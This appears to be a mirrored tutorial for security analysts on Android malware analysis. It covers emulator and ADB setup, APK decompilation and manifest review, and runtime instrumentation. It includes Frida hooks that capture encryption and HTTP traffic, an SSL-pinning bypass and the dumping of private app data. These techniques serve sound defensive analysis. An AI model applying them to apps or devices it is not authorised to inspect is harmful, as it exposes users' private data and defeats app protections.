Android Malware Analysis: A Practical Guide for Security Analysts

- Category: CTI
- Source article: https://medium.com/@1200km/android-malware-analysis-a-practical-guide-for-security-analysts-9cda5efb181d
- Published: 2026-03-30
- Preserved media: 30 image(s), including cover images, screenshots, diagrams, and infographics where present.
- Preserved technical blocks: 93 code/configuration block(s).
Ecosystem Fit
This page mirrors the original Medium article into the 1200km.com Docusaurus ecosystem. The original article flow, images, screenshots, infographics, and technical blocks are preserved from the export.
From APK unpacking to behavioral analysis — with three real-world malware case studies and a companion automated analysis tool

Table of Contents
-
Introduction: Why Android Malware Analysis Matters
-
Android Architecture and the Attacker’s Perspective
-
APK Structure: What You Are Actually Analyzing
-
Emulator Setup: Install, Deploy, and Connect via ADB
-
Setting Up Your Analysis Environment
-
Android-Malware-Analysis Tool Setup
-
ADB Quick Reference
-
Static Analysis: Dissecting Without Running
-
Dynamic Analysis: Observing Behavior at Runtime
-
Case Study 1: FluBot — The SMS Banking Trojan
-
Case Study 2: Cerberus — Banking Trojan as a Service
-
Case Study 3: SpyNote/SpyMax — Remote Access Trojan
-
Detection Engineering: YARA Rules and IOC Extraction
-
Reporting and Attribution
-
Quick Reference Cheatsheet
> About the tool references in this guide: Each analysis stage below shows two parallel approaches — the classic manual workflow using individual tools, and an automated workflow using Android-Malware-Analysis , an open-source Python framework that combines androguard, YARA, semantic component analysis, and Claude AI into a single pipeline. The classic workflow builds understanding; the tool speeds up triage at scale.
GitHub - anpa1200/Android-Malware-Analysis *Contribute to anpa1200/Android-Malware-Analysis development by creating an account on GitHub.*github.com
[Android APK Analysis Tool: AI-Powered Static Malware Analysis in Your Terminal A practical guide to analyzing Android applications with Claude, OpenAI, Google Gemini, and VirusTotal — no sandbox…
Introduction: Why Android Malware Analysis Matters
Android is the world’s dominant mobile operating system — running on billions of devices across consumer, enterprise, and critical infrastructure contexts. That scale makes it an attractive target. Banking trojans harvest credentials from financial apps. Spyware exfiltrates location, contacts, and messages. RATs hand full device control to remote operators.
The challenge for analysts is that Android malware is technically distinct from Windows or Linux malware. The packaging format, execution environment, and key attack surfaces — Accessibility Services, permissions, broadcast receivers, overlays — are Android-specific. Understanding them is prerequisite to analyzing the malware that abuses them.
This guide covers the complete workflow: from unpacking an APK and reading its manifest, through static code analysis and dynamic instrumentation, to three documented real-world malware families with step-by-step analysis walkthroughs.
Android Architecture and the Attacker’s Perspective
Before analyzing Android malware, you need to understand what Android offers attackers — and defenders — by design.
The Android Security Model
Android’s security model is built around four concepts:
Application sandboxing— Every app runs as a unique Linux user (UID). Apps cannot directly access each other’s data without explicit sharing mechanisms (Content Providers, Intents).
Permissions— Apps must declare required permissions in the manifest. Dangerous permissions (contacts, SMS, camera, location) require runtime user approval on Android 6.0+.
Signed APKs— Every APK must be signed with a developer certificate. The signature is used for update verification, not identity validation — self-signed certificates are accepted.
Play Protect— Google’s on-device scanner checks for known malicious apps. Effective against commodity malware; bypassed by targeted or novel samples.
Android Components — The Attack Surface
Android apps are built from four component types. Each is an attacker surface:

Accessibility Services — The Master Key
The most widely abused Android feature in modern malware is theAccessibility ServiceAPI, designed to help users with disabilities. When an app is granted Accessibility permissions, it can:
-
Read all on-screen content from any app
-
Click UI elements in any app on behalf of the user
-
Monitor and intercept touch events
-
Read and write clipboard content
This is effectively a keylogger and UI automation API. Banking trojans use it to:
-
Read credentials as users type them into banking apps
-
Auto-dismiss security warnings when granting permissions
-
Perform overlay attacks by drawing fake UI over legitimate apps
-
Silently grant itself additional permissions
ANALYST NOTE: The first thing to check in any suspicious APK:
AndroidManifest.xml →
<
service
android:name
=
"..."
>
<
intent-filter
>
<
action
android:name
=
"android.accessibilityservice.AccessibilityService"
/>
</
intent-filter
>
</
service
>
If this is present and unexplained by the app’s stated purpose, treat it as a high-severity indicator.
The Intent System — Inter-App Communication
Intents are Android’s inter-component messaging system. They are used for:
-
Launching activities and services
-
Broadcasting system events (BOOT_COMPLETED, SMS_RECEIVED, etc.)
-
Deep-linking between apps
Malware exploits intents for:
-
Persistence: registering BOOT_COMPLETED receivers to restart on device boot
-
SMS interception: declaring SMS_RECEIVED receivers with high priority to capture messages before the user’s SMS app
-
Overlay launching: using intents to overlay phishing activities over banking apps
APK Structure: What You Are Actually Analyzing
An APK (Android Package Kit) is a ZIP archive. Rename any APK to.zipand you can browse its contents directly.
malware.apk/
├── AndroidManifest.xml ← App metadata, permissions, components (binary XML)
├── classes.dex ← Compiled Dalvik
bytecode
(primary code)
├── classes2.dex ← MultiDex: additional DEX
files
(
if
present)
├── classes3.dex
├── resources.arsc ← Compiled resource
table
(binary)
├── res/ ← Binary
resources
(layouts, drawables)
│ ├── layout/
│ ├── drawable/
│ └── values/
├── assets/ ← Raw
assets
(config files, encrypted payloads, fonts)
├── lib/ ← Native
libraries
(.so files)
│ ├── armeabi-v7a/ ←
32
-bit ARM
│ ├── arm64-v8a/ ←
64
-bit
ARM
(most modern devices)
│ └── x86/ ← x86 emulators
└── META-INF/ ← APK signature files
├── MANIFEST.MF
├── CERT.RSA ← Signing certificate
└── CERT.SF
Key Files for Analysis

AndroidManifest.xmlThe most information-dense file in any APK. Declares:
-
Package name and version
-
Minimum/target SDK versions
-
All permissions requested
-
All components (activities, services, receivers, providers)
-
Intent filters (what events each component responds to)
Inside the APK, this file is in binary XML format. Tools likeapktool,aapt, orjadxdecode it to human-readable XML.
classes.dexCompiled Dalvik bytecode. This is the app’s code. Decompile withjadx(to Java),apktool(to Smali assembly), or analyze directly withandroguard.
**assets/**Often contains configuration files, encrypted payloads, or second-stage files. Malware frequently stores C2 server lists, encryption keys, or embedded APKs in this directory.
**lib/**Native libraries (.so files) compiled for specific CPU architectures. Some malware uses native code to evade Java-level analysis. Analyze withstrings,Ghidra, orIDA Pro.
META-INF/CERT.RSAThe signing certificate. Extract it to identify the developer, check issuance date, and compare against known malicious certificates. Self-signed certs with generic fields are common in malware.
Emulator Setup: Install, Deploy, and Connect via ADB
For most analysis work, an Android emulator is preferred over a physical device — it supports snapshots (save/restore state before running each sample), runs on your analysis host, and is free.
Step 1 — Install SDK tools and emulator
Ubuntu/Debian (apt) — recommended
Three separate packages are needed: emulator, platform-tools (adb), and cmdline-tools (sdkmanager + avdmanager).
sudo apt install google-android-emulator-installer \
google-android-platform-tools-installer \
google-android-cmdline-tools-
11.0
-installer
> If google-android-cmdline-tools-11.0-installer is not found, use the highest version shown by apt-cache search google-android-cmdline-tools and replace 11.0 throughout.
The packages install into/usr/lib/android-sdk/which is owned by root. Take ownership and persist the required env vars before running any SDK commands:
sudo
chown
-R
$USER
:
$USER
/usr/lib/android-sdk
cat
>> ~/.bashrc <<
'EOF'
export
ANDROID_HOME=
"/usr/lib/android-sdk"
export
ANDROID_SDK_ROOT=
"/usr/lib/android-sdk"
export
PATH=
"
$PATH
:/usr/lib/android-sdk/emulator:/usr/lib/android-sdk/platform-tools:/usr/lib/android-sdk/cmdline-tools/11.0/bin"
EOF
source
~/.bashrc
KVM setup (AMD CPUs or Linux without HAXM)
sudo apt install qemu-kvm libvirt-daemon-
system
sudo adduser $USER kvm
# Log out and back in for the group change to take effect
kvm-ok
# should print "KVM acceleration can be used"
Alternative: Android Studio
Download fromdeveloper.android.com/studio. The SDK lands in~/Android/Sdk/— adjustANDROID_HOMEandANDROID_SDK_ROOTaccordingly.
Verify:
adb version
emulator -version

Step 2 — Install SDK components and create the AVD
Always pass--sdk_rootas a hardcoded path tosdkmanager. Passing--sdk_root="$ANDROID_SDK_ROOT"will throw a NullPointerException if the variable is unset in the current shell.
# Accept licenses
yes
| sdkmanager --sdk_root=
"/usr/lib/android-sdk"
--licenses
> Warnings: “Found corrupted package.xml at xplg/…” — harmless. sdkmanager scans the filesystem and warns when it encounters package.xml files from unrelated tools (Xpolog, IDE plugins, etc.). The install continues normally.

# Install system image — google_apis (no Play Store) gives a writable system partition and root access
sdkmanager --sdk_root=
"/usr/lib/android-sdk"
"system-images;android-28;google_apis;x86_64"
# Install platform package - required by the emulator to validate the SDK root
# Missing this causes: "PANIC: Broken AVD system path"
sdkmanager --sdk_root=
"/usr/lib/android-sdk"
"platforms;android-28"
# Verify both landed
ls
/usr/lib/android-sdk/system-images/android-28/google_apis/x86_64/
ls
/usr/lib/android-sdk/platforms/android-28/
# Create the AVD
avdmanager create avd \
--name
"malware-lab-api28"
\
--package
"system-images;android-28;google_apis;x86_64"
\
--device
"pixel_2"
\
--force

Recommended AVD hardware settings for analysis — edit~/.android/avd/malware-lab-api28.avd/config.ini:
hw.ramSize
=
2048
disk.dataPartition.size
=
4096
M
hw.gpu.enabled
=
yes
hw.gpu.mode
=auto
hw.keyboard
=
yes
# Disable camera (reduces attack surface, speeds startup)
hw.camera.back
=none
hw.camera.front
=none
Step 3 — Start the emulator (headless or GUI)
Before starting, ensure the SDK env vars are set in your current shell — the emulator binary reads them directly and will panic if they are missing:
export
ANDROID_HOME=
"/usr/lib/android-sdk"
export
ANDROID_SDK_ROOT=
"/usr/lib/android-sdk"
export
PATH=
"
$PATH
:/usr/lib/android-sdk/cmdline-tools/11.0/bin:/usr/lib/android-sdk/platform-tools:/usr/lib/android-sdk/emulator"
> “PANIC: Broken AVD system path” — means platforms;android-28 is not installed. Fix:
> sdkmanager --sdk_root="/usr/lib/android-sdk" "platforms;android-28"
> Then re-run the emulator command. Also verify ANDROID_HOME and ANDROID_SDK_ROOT are set ( echo $ANDROID_SDK_ROOT ) — if empty, run source ~/.bashrc first.
GUI mode(interactive analysis):
emulator -avd malware-lab-api28 -writable-
system
&
Headless mode(scripted / no display):
emulator -avd malware-lab-api28 -writable-
system
-
no
-window -
no
-audio -
no
-boot-anim &
-writable-systemis required foradb remountto succeed. Without it,adb remountreturns "remount failed: Permission denied" even when running as root.
Useful startup flags:

|
`-no-snapshot-load`
| Fresh boot (
do
not
restore saved snapshot) |
|
`-writable-system`
| Mount
system
partition
read
-
write
(required
for
pushing frida-server to /
system
) |
|
`-no-boot-anim`
| Faster boot |
|
`-dns-server 8.8.8.8`
| Override DNS (useful
for
isolated lab routing) |
|
`-tcpdump /tmp/cap.pcap`
| Capture all emulator network traffic to a pcap |

Wait for boot to complete before connecting:
adb wait-for-device
adb shell getprop sys.boot_completed
# returns "1" when ready
# One-liner: wait until fully booted
until
[
"
$(adb shell getprop sys.boot_completed 2>/dev/null)
"
=
"1"
];
do
sleep
2
done
echo
"Emulator ready"
Step 4 — Verify ADB connection
adb devices
# Expected output:
# List of devices attached
# emulator-5554 device
> The emulator console port is 5554 (shown in adb devices ); the ADB daemon port is 5555 . When connecting manually (e.g., after restart or to a remote emulator): adb connect 127.0.0.1:5555


Step 5 — Enable root and deploy frida-server
Thegoogle_apisimage supportsadb root— this restarts the ADB daemon as root, making all subsequentadb shellcommands run as root:
adb disconnect 127.0.0.1:5555
#if was connected
adb root
adb remount # remount /system as
read
-
write
(requires -writable-system at startup)

Fridais the essential tool for dynamic instrumentation — injecting JavaScript to hook Android APIs at runtime:
# On analysis host
pip install frida-tools
# On Android device/emulator (must be rooted)
FRIDA_VERSION=$(python3 -c
'import frida; print(frida.__version__)'
)
echo
"
$FRIDA_VERSION
"
wget
"https://github.com/frida/frida/releases/download/
${FRIDA_VERSION}
/frida-server-
${FRIDA_VERSION}
-android-arm64.xz"
Now push frida-server. Match the version to your installedfrida-tools:
# Check your frida-tools version
pip show frida |
grep
Version
# e.g. 16.x.x
# Download frida-server for Android x86_64 (matching version)
# https://github.com/frida/frida/releases
# File: frida-server-16.x.x-android-x86_64.xz
xz -d frida-server-*-android-x86_64.xz
adb
push
frida-server-*-android-x86_64 /data/
local
/tmp/frida-server
adb shell
chmod
755
/data/
local
/tmp/frida-server
adb shell /data/
local
/tmp/frida-server &
# Verify Frida sees the device
frida-ps -U
# lists running processes on the emulator

Step 6 — Take a baseline snapshot
Before installing any malware, save a clean snapshot. You can restore it instantly between samples — no re-install needed:
# Save snapshot named "clean-baseline"
adb emu avd snapshot save clean-baseline
# After analysis - restore to clean state
adb emu avd snapshot load clean-baseline
Alternatively use the Android Studio Emulator UI: Extended Controls → Snapshots → Take Snapshot.
Setting Up Your Analysis Environment
A proper Android malware analysis lab requires isolation from your production network. Never analyze live malware on a device connected to your corporate or personal network.
Analysis Host (Linux preferred)
# Base tools
sudo apt install adb android-tools-adb default-jdk
# Python environment
python3 -m venv ~/malware-analysis
source
~/malware-analysis/bin/activate
# Core analysis tools
pip install androguard frida-tools objection
# apktool (APK decompiler)
sudo apt update
sudo apt install -y apktool
apktool --version
# Create wrapper: https://apktool.org/docs/install/
# jadx (Java decompiler - most readable output)
JADX_VERSION=$(curl -s https://api.github.com/repos/skylot/jadx/releases/latest | grep -Po
'"tag_name": "v\K[0-9.]+'
)
mkdir
-p ~/tools
wget
"https://github.com/skylot/jadx/releases/latest/download/jadx-
${JADX_VERSION}
.zip"
unzip
"jadx-
${JADX_VERSION}
.zip"
-d ~/tools/jadx
# MobSF - automated analysis platform
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it --
rm
-p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# APKiD - packer/protector fingerprinting
python3 -m pip install -U apkid
pip install objection
pip install mitmproxy
mitmproxy --mode transparent --ssl-insecure
Android-Malware-Analysis Tool Setup
# Clone and install
git
clone
https://github.com/anpa1200/Android-Malware-Analysis
cd
Android-Malware-Analysis
bash setup.sh
# Creates venv, installs all dependencies
source
venv/bin/activate
# API keys (VirusTotal optional)
export
ANTHROPIC_API_KEY=
'sk-ant-...'
export
VT_API_KEY=
'...'
# optional - enables VT cross-validation
# Verify installation
python analyzer.py --
help
Three commands are available:

ADB Quick Reference
# Connect to emulator via ADB TCP (ADB port is 5555, not 5554)
# Note: emulators launched via Android Studio register automatically; use adb connect
# only if connecting manually or via network.
adb connect 127.0.0.1:5555
# Install APK
adb install -r malware.apk
# View real-time logs (filter by package)
adb logcat --pid=$(adb shell pidof com.malware.package)
# Pull file from device
adb pull /data/data/com.malware.package/shared_prefs/ ./output/
# Shell on device
adb shell
# List installed packages
adb shell pm list packages | grep -i suspicious
# Dump activity stack (what's on screen)
adb shell dumpsys activity activities | grep -A 5
"mResumedActivity"
# Capture network traffic
adb shell tcpdump -i any -w /sdcard/capture.pcap
adb pull /sdcard/capture.pcap
Static Analysis: Dissecting Without Running
Static analysis examines the APK without executing it. It is your first pass — safe, repeatable, and reveals structure, permissions, and code patterns.
Each step below shows theclassic manual approachfirst, followed by the equivalent using theanalyzer.py tool.
Step 1: File Fingerprinting
Before opening any file, record its identity:
# Compute hashes
sha256sum
malware.apk
md5sum
malware.apk
# Check VirusTotal (use hash, not upload if sensitive)
# https://www.virustotal.com/gui/file/SHA256HASH

With analyzer.py:
# Quick metadata only (no analysis, no API key)
python analyzer.py info malware.apk
# Output: MD5, SHA256, file size, DEX count, .so count, ZIP entry list

# Full pipeline (includes hashing, VT lookup, obfuscation scoring)
python analyzer.py analyze malware.apk --
no
-ai
# Output includes: MD5/SHA1/SHA256, obfuscation score (0–10), packer signals



The tool scores obfuscation automatically: ProGuard short names, single-letter packages, heavy reflection, base64 blobs, multi-DEX packers, and DexGuard/Allatori tokens contribute to a 0–10 scale printed in the report.
Step 2: Manifest Analysis
The AndroidManifest.xml is your reconnaissance target. Decode it:
# Method 1: apktool decodes manifest + resources
apktool d malware.apk -o malware_decoded/
cat
malware_decoded/AndroidManifest.xml
# Method 2: jadx includes decoded manifest
~/tools/jadx/bin/jadx malware.apk -d malware_jadx/
cat
malware_jadx/resources/AndroidManifest.xml
# Method 3: aapt (Android Asset Packaging Tool)
aapt dump badging malware.apk
aapt dump permissions malware.apk
Permissions to flag immediately:
<!-- High-value for banking trojans -->
<
uses-permission
android:name
=
"android.permission.READ_SMS"
/>
<
uses-permission
android:name
=
"android.permission.SEND_SMS"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_SMS"
/>
<
uses-permission
android:name
=
"android.permission.READ_CONTACTS"
/>
<
uses-permission
android:name
=
"android.permission.READ_CALL_LOG"
/>
<!-- High-value for RATs -->
<
uses-permission
android:name
=
"android.permission.CAMERA"
/>
<
uses-permission
android:name
=
"android.permission.RECORD_AUDIO"
/>
<
uses-permission
android:name
=
"android.permission.ACCESS_FINE_LOCATION"
/>
<!-- Persistence indicators -->
<
uses-permission
android:name
=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>
<
uses-permission
android:name
=
"android.permission.FOREGROUND_SERVICE"
/>
<!-- Overlay attacks -->
<
uses-permission
android:name
=
"android.permission.SYSTEM_ALERT_WINDOW"
/>
<!-- Device Admin binding - declared on the receiver component (see below),
NOT as a uses-permission. BIND_DEVICE_ADMIN is a framework protection permission
that restricts which callers can bind to the device admin receiver; apps do not
declare it in uses-permission. -->
<!-- <uses-permission android:name="android.permission.BIND_DEVICE_ADMIN" /> ← NOT how it works -->
Components to flag:
<!-- Accessibility Service — treat as critical indicator -->
<
service
android:name
=
".AccessibilityService"
android:permission
=
"android.permission.BIND_ACCESSIBILITY_SERVICE"
>
<
intent-filter
>
<
action
android:name
=
"android.accessibilityservice.AccessibilityService"
/>
</
intent-filter
>
</
service
>
<!-- Boot persistence -->
<
receiver
android:name
=
".BootReceiver"
>
<
intent-filter
android:priority
=
"1000"
>
<
action
android:name
=
"android.intent.action.BOOT_COMPLETED"
/>
<
action
android:name
=
"android.intent.action.QUICKBOOT_POWERON"
/>
</
intent-filter
>
</
receiver
>
<!-- Device Admin - makes uninstall harder -->
<
receiver
android:name
=
".DeviceAdmin"
android:permission
=
"android.permission.BIND_DEVICE_ADMIN"
>
<
meta-data
android:name
=
"android.app.device_admin"
android:resource
=
"@xml/device_admin_policies"
/>
</
receiver
>
With analyzer.py:
python analyzer
.py
analyze malware
.apk
--no-ai

The tool’s Phase 1 (core/apk_analyzer.py) automatically extracts and scores every permission, component, and intent filter. Dangerous permission combinations trigger weighted threat indicators — for example,BIND_ACCESSIBILITY_SERVICEcomponent +SEND_SMS+READ_CONTACTSraises a Banking Trojan flag. The terminal output highlights each finding by severity (CRITICAL / HIGH / MEDIUM / LOW) and the JSON report includes the full permission and component inventory.
Semantic analysis (core/semantic_analyzer.py) additionally decodes component names: service names likeServiceForwardingTunel,ServiceSendRequestImageVNC, orServiceLookScreenare pattern-matched to specific capabilities and ATT&CK techniques without any decompilation.
Step 3: Code Decompilation
# jadx: produces the most readable Java output
~/tools/jadx/bin/jadx malware.apk -d malware_jadx/
# Navigate to: malware_jadx/sources/com/malware/...
# apktool: produces Smali (Dalvik assembly) - useful for obfuscated code
apktool d malware.apk -o malware_smali/
# Navigate to: malware_smali/smali/com/malware/...
# For native libraries
strings malware_decoded/lib/arm64-v8a/libnative.so | grep -E
"http|api|token|key|exec"
With analyzer.py:
The tool does not replace jadx/apktool for deep code reading — you still need those for understanding obfuscated logic or writing custom Frida hooks. However, the API cross-reference analysis in Phase 1 maps every method call to ~15 suspicious categories (Dynamic Code Loading, Reflection, SMS Operations, Audio Recording, Location Tracking, Camera, Accessibility Service, Device Admin, Account Credentials, etc.) without requiring you to manually navigate the decompiled tree. This tells youwhereto focus before opening jadx.
Step 4: String Extraction and Pattern Matching
Even with obfuscation, strings often leak useful information:
# Extract strings from DEX
strings malware_decoded/classes.dex | grep -E \
"http|ftp|\.onion|api|token|key|password|AES|Base64|exec|su "
|
sort
-u
# Look for encrypted/encoded strings (Base64 encoded URLs are common)
strings malware_decoded/classes.dex | grep -E
"^[A-Za-z0-9+/]{20,}={0,2}$"
\
|
while
read
b64;
do
decoded=$(
echo
"
$b64
"
|
base64
-d 2>/dev/null)
[[ $? -eq 0 ]] &&
echo
"DECODED:
$decoded
"
done
# Extract all URLs
strings malware_decoded/classes.dex | grep -oE
"https?://[a-zA-Z0-9./?=&_%-]+"
|
sort
-u
With analyzer.py:
python analyzer
.py
analyze malware
.apk
--no-ai
Phase 1 automatically extracts all network IOCs (URLs, IPs, domains, emails) from the DEX via regex, filtering out private IP ranges. Phase 2c (semantic analysis) additionally computesShannon entropyon all strings — values above 4.5 flag potential encrypted payloads or C2 config blobs embedded in the APK. These are reported in the JSON output underhigh_entropy_strings.

Step 5: Androguard for Programmatic Analysis
#!/usr/bin/env python3
# analyze_apk.py
from
androguard.misc
import
AnalyzeAPK
apk, dex, analysis = AnalyzeAPK(
"malware.apk"
)
print
(
"=== APK METADATA ==="
)
print
(
f"Package:
{apk.get_package()}
"
)
print
(
f"Version:
{apk.get_androidversion_name()}
(
{apk.get_androidversion_code()}
)"
)
print
(
f"Min SDK:
{apk.get_min_sdk_version()}
"
)
print
(
f"Target SDK:
{apk.get_target_sdk_version()}
"
)
print
(
"\n=== PERMISSIONS ==="
)
for
perm
in
sorted
(apk.get_permissions()):
print
(
f"
{perm}
"
)
print
(
"\n=== ACTIVITIES ==="
)
for
activity
in
apk.get_activities():
print
(
f"
{activity}
"
)
print
(
"\n=== SERVICES ==="
)
for
service
in
apk.get_services():
print
(
f"
{service}
"
)
print
(
"\n=== RECEIVERS ==="
)
for
receiver
in
apk.get_receivers():
print
(
f"
{receiver}
"
)
print
(
"\n=== CERTIFICATE ==="
)
for
cert
in
apk.get_certificates():
print
(
f" Subject:
{cert.subject.human_friendly}
"
)
print
(
f" Issuer:
{cert.issuer.human_friendly}
"
)
print
(
f" SHA256:
{cert.sha256_fingerprint}
"
)
print
(
"\n=== NETWORK CALLS (string search) ==="
)
for
cls
in
dex.get_classes():
for
method
in
cls.get_methods():
for
_, call, _
in
analysis.get_method_analysis(method).get_xref_to():
if
"URL"
in
str
(call)
or
"HttpClient"
in
str
(call)
or
"OkHttp"
in
str
(call):
print
(
f"
{cls.name}
→
{call.class_name}
.
{call.name}
"
)
With analyzer.py:
The tool’score/apk_analyzer.pyis built on androguard and wraps the sameAnalyzeAPKAPI used in the script above. Runninganalyzer.py analyzegives you the same data plus threat scoring, semantic analysis, YARA, and AI classification on top. Use the manual script when you need custom programmatic logic beyond what the tool exposes; use the tool for standard triage.
Step 6: Automated Scan
Classic — MobSF (web UI):
MobSF provides an automated report covering permissions, manifest issues, hardcoded secrets, and known API abuse patterns:
# Start MobSF
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# Upload via web UI: http://localhost:8000
# Or via API:
curl -F
"file=@malware.apk"
http://localhost:8000/api/v1/upload \
-H
"Authorization: YOUR_API_KEY"
MobSF’s report flags:
-
Dangerous permission combinations
-
Hardcoded URLs and API keys
-
Weak cryptography usage
-
Exported components that can be triggered by other apps
-
Trackers and SDKs embedded in the app
With analyzer.py (CLI alternative):
#
Full
pipeline —
static
+
YARA
+
semantic
+
AI classification
python analyzer.py analyze malware.apk \
--api-key $ANTHROPIC_API_KEY \
--vt-key $VT_API_KEY \
--output-dir reports/
#
Static
+
YARA
only
(
no
AI,
no
network calls)
python analyzer.py analyze malware.apk
--no-ai --output-dir reports/
# Batch
-
score a
full
directory
and
sort
by
risk
python analyzer.py batch .
/
samples
/
\
--api-key $ANTHROPIC_API_KEY \
--min-risk 40 \
--output-dir reports/
The tool produces two output files per sample:
-
reports/<package>_<timestamp>.json— full structured report (permissions, components, YARA matches, threat score, ATT&CK techniques, IOC list) -
reports/<package>_frida_hooks.js— runnable Frida script auto-generated for the specific APIs found in this sample
Risk scoring uses a weighted formula:permission_score × 0.25 + behavior_score × 0.40 + network_score × 0.15 + obfuscation_score × 0.20, producing a 0–100 score mapped to CLEAN / LOW / MEDIUM / HIGH / CRITICAL.


Dynamic Analysis: Observing Behavior at Runtime
Static analysis reveals structure; dynamic analysis reveals behavior. Run the malware in a controlled environment and observe what it actually does.
Pre-Execution Baseline
Before installing the malware, capture a baseline:
# Baseline: installed packages
adb shell pm list packages > baseline_packages.txt
# Baseline: running processes
adb shell ps -A > baseline_processes.txt
# Baseline: network connections
adb shell netstat -an > baseline_network.txt
# Start continuous logcat capture
adb logcat -v threadtime > logcat_full.txt &
Install and Run
# Install (bypass Play Protect check in settings first)
adb install -r malware.apk
# Grant permissions programmatically (faster than UI clicks)
adb shell pm grant com.malware.package android.permission.READ_SMS
adb shell pm grant com.malware.package android.permission.ACCESS_FINE_LOCATION
# Launch the app
adb shell am start -n com.malware.package/.MainActivity
# Or via monkey (simulates user interaction)
adb shell monkey -p com.malware.package 100
Monitoring at Runtime
# Watch network connections in real time
adb shell
"while true; do netstat -an | grep ESTABLISHED; sleep 2; done"
# Monitor file system activity (requires inotify-tools installed on device - not available on stock Android)
# On rooted devices: push a static inotifywait binary, or use inotifyd if present
# adb shell "inotifywait -r -m /data/data/com.malware.package/ 2>/dev/null"
# Alternatively, diff directory snapshots manually:
adb shell
"ls -la /data/data/com.malware.package/"
> fs_snapshot1.txt
# [run app actions]
adb shell
"ls -la /data/data/com.malware.package/"
> fs_snapshot2.txt
diff fs_snapshot1.txt fs_snapshot2.txt
# Watch for new processes
adb shell
"while true; do ps -A | diff baseline_processes.txt - | grep '^>'; sleep 3; done"
# Dump shared preferences (configuration storage)
# run-as only works for apps built with android:debuggable="true" - most real malware is not debuggable
# adb shell run-as com.malware.package cat shared_prefs/*.xml 2>/dev/null
# On rooted devices (use for actual malware samples):
adb shell
cat
/data/data/com.malware.package/shared_prefs/*.xml
Frida Instrumentation
Frida hooks Java methods at runtime, letting you intercept calls, read arguments, and modify return values:
// hook_crypto.js — intercept all encryption/decryption calls
Java
.
perform
(
function
(
) {
// Hook Cipher.doFinal - captures plaintext before encryption
var
Cipher
=
Java
.
use
(
"javax.crypto.Cipher"
);
var
doFinalOrig =
Cipher
.
doFinal
.
overload
(
"[B"
);
// capture reference before patching
doFinalOrig.
implementation
=
function
(
input
) {
// Call the original via the explicit overload reference to avoid ambiguity
var
result = doFinalOrig.
call
(
this
, input);
console
.
log
(
"[Cipher.doFinal]"
);
console
.
log
(
" Algorithm : "
+
this
.
getAlgorithm
());
console
.
log
(
" Input : "
+
bytesToHex
(input));
console
.
log
(
" Output : "
+
bytesToHex
(result));
return
result;
};
// Hook String decryption (common pattern: obfuscated strings)
// Adjust class/method name after reading decompiled code
try
{
var
StringObf
=
Java
.
use
(
"com.malware.util.StringDecryptor"
);
var
decryptOrig =
StringObf
.
decrypt
.
overload
(
"java.lang.String"
);
decryptOrig.
implementation
=
function
(
encrypted
) {
var
result = decryptOrig.
call
(
this
, encrypted);
console
.
log
(
"[StringDecryptor.decrypt] "
+ encrypted +
" → "
+ result);
return
result;
};
}
catch
(e) {
console
.
log
(
"StringDecryptor not found: "
+ e);
}
function
bytesToHex
(
bytes
) {
var
hex =
""
;
for
(
var
i =
0
; i < bytes.
length
; i++) {
hex += (
"0"
+ (bytes[i] &
0xff
).
toString
(
16
)).
slice
(-
2
);
}
return
hex;
}
});
// hook_network.js — intercept HTTP requests before they leave
Java
.
perform
(
function
(
) {
// Hook OkHttp (most common HTTP client in Android malware)
try
{
var
OkHttpClient
=
Java
.
use
(
"okhttp3.OkHttpClient"
);
var
Request
=
Java
.
use
(
"okhttp3.Request"
);
var
RealCall
=
Java
.
use
(
"okhttp3.internal.connection.RealCall"
);
var
executeOrig =
RealCall
.
execute
.
overload
();
executeOrig.
implementation
=
function
(
) {
var
request =
this
.
request
();
console
.
log
(
"\n[OkHttp Request]"
);
console
.
log
(
" URL : "
+ request.
url
().
toString
());
console
.
log
(
" Method : "
+ request.
method
());
var
body = request.
body
();
if
(body !==
null
) {
console
.
log
(
" Body : "
+
bodyToString
(body));
}
return
executeOrig.
call
(
this
);
};
}
catch
(e) {
console
.
log
(
"OkHttp not found: "
+ e);
}
// Hook URL.openConnection (fallback for HttpURLConnection)
var
URL
=
Java
.
use
(
"java.net.URL"
);
var
openConnOrig =
URL
.
openConnection
.
overload
();
openConnOrig.
implementation
=
function
(
) {
console
.
log
(
"[URL.openConnection] "
+
this
.
toString
());
return
openConnOrig.
call
(
this
);
};
});
# Spawn app with Frida hooks attached from the start
# Frida 14+: --no-pause is deprecated; spawned apps resume automatically
frida -U -f com.malware.package -l hook_crypto.js
frida -U -f com.malware.package -l hook_network.js
# On older Frida (<14), add --no-pause to resume execution immediately after spawn
# Or attach to already-running process
frida -U com.malware.package -l hook_network.js
With analyzer.py — Auto-Generated Frida Hooks:
Instead of writing hooks from scratch, run the full analysis first. The AI phase generates sample-specific hooks targeting the exact APIs found during static analysis:
# Generate hooks during analysis (saved automatically)
python analyzer.py analyze malware.apk \
--api-key
$ANTHROPIC_API_KEY
\
--save-frida \
--output-dir reports/
# The generated script targets APIs actually present in this sample:
cat
reports/com.malware.package_frida_hooks.js
# Run it directly:
frida -U -f com.malware.package \
-l reports/com.malware.package_frida_hooks.js
The generated hooks are not generic templates — they target specific class names and method signatures identified in the sample’s DEX. Treat them as a starting point; review before running and adjust class/method names if the malware is obfuscated.

Objection — Frida Made Easy
Objection wraps Frida with a CLI for common analysis tasks:
# Attach to running app
objection -g com.malware.package explore
# Inside objection:
# Bypass SSL pinning (works against common pinning implementations)
android sslpinning
disable
# List all activities, services, receivers
android hooking list activities
android hooking list services
# Hook all methods in a class
android hooking watch class com.malware.network.C2Client
# Hook specific method with arguments and return value
android hooking watch class_method com.malware.crypto.Decrypt.decryptString \
--dump-args --dump-return
# List files in app's data directory
file
ls
/data/data/com.malware.package/
# Dump shared preferences
android heap print_instances android.content.SharedPreferences
Network Traffic Analysis
# Capture traffic via tcpdump on device
adb shell su -c
"tcpdump -i any -w /sdcard/malware_traffic.pcap"
# Let it run while app executes, then:
adb pull /sdcard/malware_traffic.pcap
# Open in Wireshark
# Filter for malware's IP: ip.addr == C2_IP
# Filter for DNS: dns && dns.qry.name contains "malware"
# Filter for HTTP: http
# Inspect TLS: check SNI in ClientHello, analyze certificate
# Alternatively: route traffic through mitmproxy
# mitmproxy handles HTTP/HTTPS decryption if cert is installed
mitmproxy --mode transparent
